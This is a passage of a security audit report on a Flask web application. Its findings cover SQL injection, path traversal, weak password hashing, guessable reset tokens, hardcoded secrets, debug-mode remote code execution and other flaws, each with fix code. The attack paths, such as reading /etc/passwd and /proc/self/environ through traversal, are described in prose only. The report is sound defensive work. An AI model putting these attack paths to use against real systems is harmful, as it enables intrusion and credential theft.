Add both authentication and role-based authorization: @app.route("/admin/users") def list_users(): if 'user_id' not in session: return jsonify({'error': 'unauthorized'}), 401 if session.get('role') != 'admin': return jsonify({'error': 'forbidden'}), 403 ...

VUL-007 SQL Injection in /forgot-password via Email Parameter Enables Unauthenticated Data Manipulation

HIGH

LOCATION

src/app.py:132-133 (forgot_password)

DESCRIPTION

The /forgot-password endpoint interpolates the user-supplied email directly into an UPDATE SQL statement using an f-string. An attacker can inject SQL to modify any column in the users table, exfiltrate data via subqueries, or set reset tokens for arbitrary accounts. This endpoint requires no authentication.

IMPACT

Unauthenticated write access to the users table. Attacker can set reset tokens for arbitrary accounts enabling account takeover, modify user roles to gain admin privileges, or exfiltrate data via time-based or UNION injection.

REMEDIATION

Use parameterized queries: db.execute("UPDATE users SET reset_token = ? WHERE email = ?", (token, email))

VUL-008 SQL Injection in /user/<user_id> Enables Authenticated Data Exfiltration and Manipulation

HIGH

LOCATION

src/app.py:102-103 (get_user)

DESCRIPTION

The user_id URL path parameter is interpolated directly into a SELECT query without parameterization or type validation. An authenticated attacker can inject UNION SELECT statements to dump arbitrary tables, read the full schema, or perform blind injection. No ownership check is performed, compounding the IDOR vulnerability.

IMPACT

Authenticated attacker can exfiltrate the complete database schema and all table contents, modify any data, and access records of other users. Combined with the IDOR at the same endpoint, any logged-in user achieves full database access.

REMEDIATION

Validate the type and use parameterization: if not user_id.isdigit(): return jsonify({'error': 'invalid id'}), 400 cursor = db.execute("SELECT id, username, email FROM users WHERE id = ?", (int(user_id),))

VUL-009 SQL Injection in /register Allows Unauthenticated Arbitrary Database Writes

HIGH

LOCATION

src/app.py:58-59 (register)

DESCRIPTION

The /register endpoint interpolates both username and hashed password into an INSERT query via f-string. An attacker can craft a username containing SQL to inject multiple rows, modify existing rows, call database functions, or DROP tables. No input validation or parameterization is applied.

IMPACT

Unauthenticated write access to the database. Attacker can insert arbitrary rows including fake admin accounts, corrupt existing records, or trigger schema-level damage.

REMEDIATION

Use parameterized queries and validate input length: if not username or len(username) > 64: return jsonify({'error': 'invalid username'}), 400 db.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hashed))

VUL-010 SQL Injection in db.raw_query() — Table Name and Filter Values Both Unparameterized

HIGH

LOCATION

src/db.py:16-27 (raw_query)

DESCRIPTION

The raw_query() utility function interpolates both the table name and all filter values directly into the SQL query string. The table name cannot be parameterized in SQL but must be validated against an allowlist. Filter values must use placeholders. As written, any caller passing user-controlled data to raw_query() creates a SQL injection sink, amplifying any injection opportunity upstream.

IMPACT

Any call to raw_query() with user-controlled table or filter arguments allows full database read access. The table name injection additionally enables querying any table regardless of intended access controls.

REMEDIATION

Validate table name against an explicit allowlist; use '?' placeholders for values: ALLOWED_TABLES = {'users', 'sessions'} def raw_query(table, filters): if table not in ALLOWED_TABLES: raise ValueError(f'Invalid table: {table}') placeholders = ' AND '.join(f'{k} = ?' for k in filters) return db.execute(f'SELECT * FROM {table} WHERE {placeholders}', list(filters.values())).fetchall()

VUL-011 Path Traversal in /download Allows Unauthenticated Arbitrary File Read

HIGH

LOCATION

src/app.py:67-78 (download_file)

DESCRIPTION

The /download endpoint accepts a 'file' query parameter and constructs a filesystem path by joining it with the uploads/ directory using os.path.join(). No path normalization or boundary checking is performed. An attacker can use '../' sequences to traverse out of the uploads directory and read arbitrary files accessible to the application's OS user. No authentication is required.

IMPACT

Unauthenticated read access to any file on the server readable by the application process. Key targets: /etc/passwd, /proc/self/environ (leaks env vars and secrets), application source code, private keys, and users.db containing all password hashes.

REMEDIATION

Normalize the path and verify it stays within the base directory: import pathlib base = pathlib.Path(os.path.dirname(__file__), 'uploads').resolve() try: target = (base / filename).resolve() target.relative_to(base) # raises ValueError if outside base except (ValueError, OSError): return 'access denied', 403 Also add authentication and an explicit filename allowlist.

VUL-012 MD5 Used for Password Hashing Without Salt — Trivially Crackable via Rainbow Tables

HIGH

LOCATION

src/app.py:56 (register)

DESCRIPTION

User passwords are hashed using MD5 (hashlib.md5) with no salt. MD5 is a fast, general-purpose hash function — not a password hash function. It is completely unsuitable for storing passwords: (1) precomputed rainbow tables reverse common passwords instantly, (2) identical passwords produce identical hashes enabling batch cracking, (3) modern GPUs compute ~100 billion MD5 hashes per second.

IMPACT

If the database is compromised via SQL injection (VUL-001, VUL-008), path traversal (VUL-011), or any other means, all user passwords are recovered within minutes. Password reuse means attackers can access users' external accounts.

REMEDIATION

Use bcrypt, scrypt, or Argon2id — the only acceptable password hashing algorithms: from werkzeug.security import generate_password_hash, check_password_hash # Register: hashed = generate_password_hash(password, method='scrypt') # Login: if check_password_hash(stored_hash, password): ... Werkzeug's scrypt includes automatic salting and appropriate cost factors.

VUL-013 Cryptographically Weak PRNG Used for Password Reset Tokens — Brute-Forceable Token Space

HIGH

LOCATION

src/app.py:121-123 (generate_reset_token)

DESCRIPTION

Password reset tokens are generated using random.randint(100000, 999999) — Python's Mersenne Twister PRNG, which is not cryptographically secure. The token space is only 900,000 values (6 decimal digits). With no rate limiting on the validation endpoint, an attacker can enumerate all possible tokens in under an hour at moderate request rates.

IMPACT

Password reset token brute-force enables full account takeover for any user whose email address is known. If the attacker additionally has log read access, the token is available immediately (see VUL-020). Administrative account takeover achievable with knowledge of the admin's email.

REMEDIATION

Use secrets.token_urlsafe() for cryptographically secure tokens: import secrets def generate_reset_token(): return secrets.token_urlsafe(32) # 256 bits of entropy Also implement: token expiry (15 min), rate limiting on validation, single-use invalidation.

VUL-014 Hardcoded JWT Secret Key in Source Code Enables Token Forgery

HIGH

LOCATION

config/settings.py:13

DESCRIPTION

JWT_SECRET is set to the literal string 'my-super-secret-jwt-key' in config/settings.py. If this secret is used to sign JWT tokens anywhere in the application or in services sharing this configuration, an attacker with source code access can forge arbitrary JWT tokens with any claims — bypassing JWT-based authentication entirely.

IMPACT

If JWT tokens are used for authentication or authorization in this service or connected services sharing this secret, an attacker can forge tokens with arbitrary user IDs, roles, scopes, or expiry times — resulting in complete auth bypass for those services.

REMEDIATION

Load JWT secrets from environment variables with no default: JWT_SECRET = os.environ['JWT_SECRET'] # raises KeyError if absent — intentional # Generate: python -c "import secrets; print(secrets.token_hex(32))"

VUL-015 Hardcoded Stripe Production Secret Key in Source Code

HIGH

LOCATION

config/settings.py:16

DESCRIPTION

A Stripe secret key with a 'sk_live_' prefix is hardcoded in config/settings.py. The 'sk_live_' prefix explicitly indicates a production key. Any developer, CI system, or log aggregation pipeline processing this file has access to the full Stripe account. Stripe secret keys allow creating charges, accessing customer payment data, issuing refunds, and modifying subscription data.

IMPACT

Complete compromise of the Stripe account. Attacker can read all customer payment data, create fraudulent charges, issue unauthorized refunds, access bank account details, and enumerate all transactions — constituting a PCI DSS breach with direct financial and regulatory consequences.

REMEDIATION

Immediately rotate this key in the Stripe dashboard. Load from environment only: STRIPE_SECRET_KEY = os.environ['STRIPE_SECRET_KEY'] Scan git history for any real keys. Enable Stripe webhook signature validation and IP allowlisting.

VUL-016 Hardcoded Database Credentials (admin/admin123) in Source Code

HIGH

LOCATION

src/db.py:11-13

DESCRIPTION

Database username ('admin'), password ('admin123'), and host ('10.0.1.10') are hardcoded as string literals in db.py. These suggest a production database configuration. An attacker with source code access or who reads db.py via path traversal (VUL-011) obtains direct database credentials for the production host.

IMPACT

Direct database server access with admin credentials. Full read/write/delete access to all data. Potential OS-level access via database admin features depending on the database engine.

REMEDIATION

Load all database credentials from environment variables with no hardcoded defaults: DB_USER = os.environ['DB_USER'] DB_PASSWORD = os.environ['DB_PASSWORD'] DB_HOST = os.environ['DB_HOST'] Use least-privilege database accounts — the application user should not have DBA/admin privileges.

VUL-017 Flask Debug Mode Enabled by Default — Werkzeug Interactive Console Exposed

HIGH

LOCATION

src/app.py:165 · config/settings.py:23

DESCRIPTION

The application runs with debug=True in the entry point and DEBUG defaults to 'true' in config/settings.py. Flask debug mode activates the Werkzeug interactive debugger, which renders a Python REPL in the browser on any unhandled exception. While protected by a PIN, the PIN can be derived from system information (machine-id, MAC address, app path) obtainable via VUL-003 (/debug/config). Debug mode also exposes full stack traces to clients.

IMPACT

Werkzeug interactive console provides arbitrary Python code execution. Combined with VUL-003, an attacker can derive the Werkzeug PIN from the exposed environment and gain interactive RCE. Stack traces leak internal implementation details, file paths, and variable values.

REMEDIATION

Default DEBUG to False; require explicit opt-in: DEBUG = os.environ.get('DEBUG', 'false').lower() == 'true' Use a production WSGI server (gunicorn, uWSGI) which does not activate Werkzeug's debug mode regardless of this flag.

VUL-018 PyYAML 5.3.1 Contains Critical RCE Vulnerability (CVE-2020-14343, CVSS 9.8)

HIGH

LOCATION

requirements.txt:4

DESCRIPTION

The application pins PyYAML==5.3.1, which is affected by CVE-2020-14343 (CVSS 9.8 CRITICAL). This vulnerability allows arbitrary Python object deserialization and code execution via yaml.load() when called without specifying a safe Loader. PyYAML 5.3.1 allows unsafe deserialization when yaml.load() is called on attacker-controlled input anywhere in the codebase or its transitive dependencies.

IMPACT

If yaml.load() is called on attacker-controlled input anywhere in the codebase or its transitive dependencies, arbitrary Python code executes in the application context. This is a well-known, heavily exploited vulnerability class with public proof-of-concept exploits widely available.

REMEDIATION

Upgrade all outdated dependencies: PyYAML>=6.0.1 cryptography>=42.0.0 requests>=2.31.0 Flask>=3.0.0 Werkzeug>=3.0.0 Audit all yaml.load() calls and replace with yaml.safe_load(). Run 'pip audit' or integrate Dependabot/Snyk for ongoing dependency scanning.

VUL-019 Insecure Direct Object Reference (IDOR) in /user/<user_id> Enables Cross-User Data Access

MEDIUM

LOCATION

src/app.py:95-107 (get_user)

DESCRIPTION

The /user/<user_id> endpoint verifies that a session exists but does not verify that the requesting user owns or is authorized to view the requested user_id. Any authenticated user can enumerate all user records by incrementing the user_id parameter. This is an object-level authorization failure (BOLA/IDOR) separate from the SQL injection on the same endpoint.

IMPACT

Any authenticated user can read the profile data (id, username, email) of every other user in the system, enabling targeted attacks, social engineering, and PII exfiltration.

REMEDIATION

Enforce ownership or admin role before serving the record: if str(session['user_id']) != user_id and session.get('role') != 'admin': return jsonify({'error': 'forbidden'}), 403

VUL-020 Plaintext Passwords and Reset Tokens Written to Application Logs

MEDIUM

LOCATION

src/app.py:36, src/app.py:136

DESCRIPTION

Two logging statements write sensitive data to the application log: (1) The login handler logs the full SQL query at DEBUG level, which includes the raw plaintext password submitted by the user. (2) The forgot_password handler logs the reset token at INFO level alongside the user's email. logging.basicConfig(level=logging.DEBUG) is set, meaning these are written in all environments.

IMPACT

Plaintext passwords in logs enable credential exfiltration by anyone with log access (developers, CI, SIEM, log aggregation). Reset tokens in logs enable account takeover without brute force. Amplifies CHAIN-004.

REMEDIATION

Remove both logging statements entirely: # DELETE: logger.debug(f"Login query: {query}") # DELETE: logger.info(f"Password reset token for {email}: {token}") If login audit logging is needed, log only: timestamp, username (not password), source IP, and success/failure outcome.

VUL-021 Wildcard CORS Policy Allows Cross-Origin Requests from Any Domain

MEDIUM

LOCATION

config/settings.py:26

DESCRIPTION

CORS_ORIGINS is set to ['*'], permitting cross-origin requests from any domain. If this policy is applied via Flask-CORS, any malicious website can make authenticated cross-origin API requests using the victim's session cookies. This bypasses same-origin protections and enables CSRF-equivalent attacks.

IMPACT

A malicious website visited by an authenticated user can silently make API calls using the victim's valid session — reading their data (VUL-019), triggering password resets (VUL-007), or performing any other available action. Particularly dangerous combined with VUL-006 (unauthenticated /admin/users).

REMEDIATION

Restrict CORS to explicitly trusted origins: CORS_ORIGINS = ['https://app.yourdomain.com',] Never use '*' for APIs that accept cookies or carry session state.

VUL-022 Plaintext HTTP Used for Internal Service Communication — No TLS or Certificate Validation

MEDIUM

LOCATION

src/app.py:142-153 (call_internal_service)

DESCRIPTION

The call_internal_service() function sends requests over plain HTTP (not HTTPS) to a hardcoded internal IP. No SSL context is configured. This exposes inter-service communication to network-level eavesdropping or man-in-the-middle attacks on the internal network segment. The hardcoded IP (10.0.1.5:8080) also creates an infrastructure coupling that breaks on any network change.

IMPACT

An attacker with access to the internal network segment can intercept or modify the payload. Sensitive data in the request is exposed in cleartext. Network-level MITM enables request tampering without the application's knowledge.

REMEDIATION

Use HTTPS with certificate validation and load the URL from configuration: import ssl INTERNAL_API = os.environ['INTERNAL_API_URL'] # https://... ctx = ssl.create_default_context() with urllib.request.urlopen(req, context=ctx) as resp: return resp.read()

VUL-023 No Request Size Limits — Application Vulnerable to Memory Exhaustion DoS

MEDIUM

LOCATION

config/settings.py:29

DESCRIPTION

MAX_CONTENT_LENGTH is explicitly set to None, disabling Flask's built-in request size enforcement. An attacker can send arbitrarily large request bodies to any POST endpoint (/login, /register, /forgot-password). Python buffers the entire request body in memory, potentially exhausting available RAM and causing the application to crash.

IMPACT

Denial of service via memory exhaustion. A single request with a multi-gigabyte body can crash the application process. No authentication or special capability required.

REMEDIATION

Set a reasonable maximum request size: MAX_CONTENT_LENGTH = 1 * 1024 * 1024 # 1 MB app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH Flask will automatically return HTTP 413 for oversized requests.

VUL-024 Database Connection Leak in bulk_insert() — Connection Never Explicitly Closed

LOW

LOCATION

src/db.py:30-40 (bulk_insert)

DESCRIPTION

The bulk_insert() function opens a new SQLite connection on every call and never explicitly closes it, relying on Python's garbage collector for cleanup. Under sustained load, accumulation of unclosed connections can exhaust the OS file descriptor limit, causing connection failures.

IMPACT

Under sustained load, connection accumulation can exhaust file descriptor limits (default 1024 on Linux), causing 'too many open files' errors and a denial of service for the database layer.

REMEDIATION

Use a context manager to ensure the connection is always closed: def bulk_insert(table, rows): with sqlite3.connect(DB_PATH) as db: for row in rows: placeholders = ', '.join('?' * len(row)) db.execute(f'INSERT INTO {table} VALUES ({placeholders})', row) db.commit()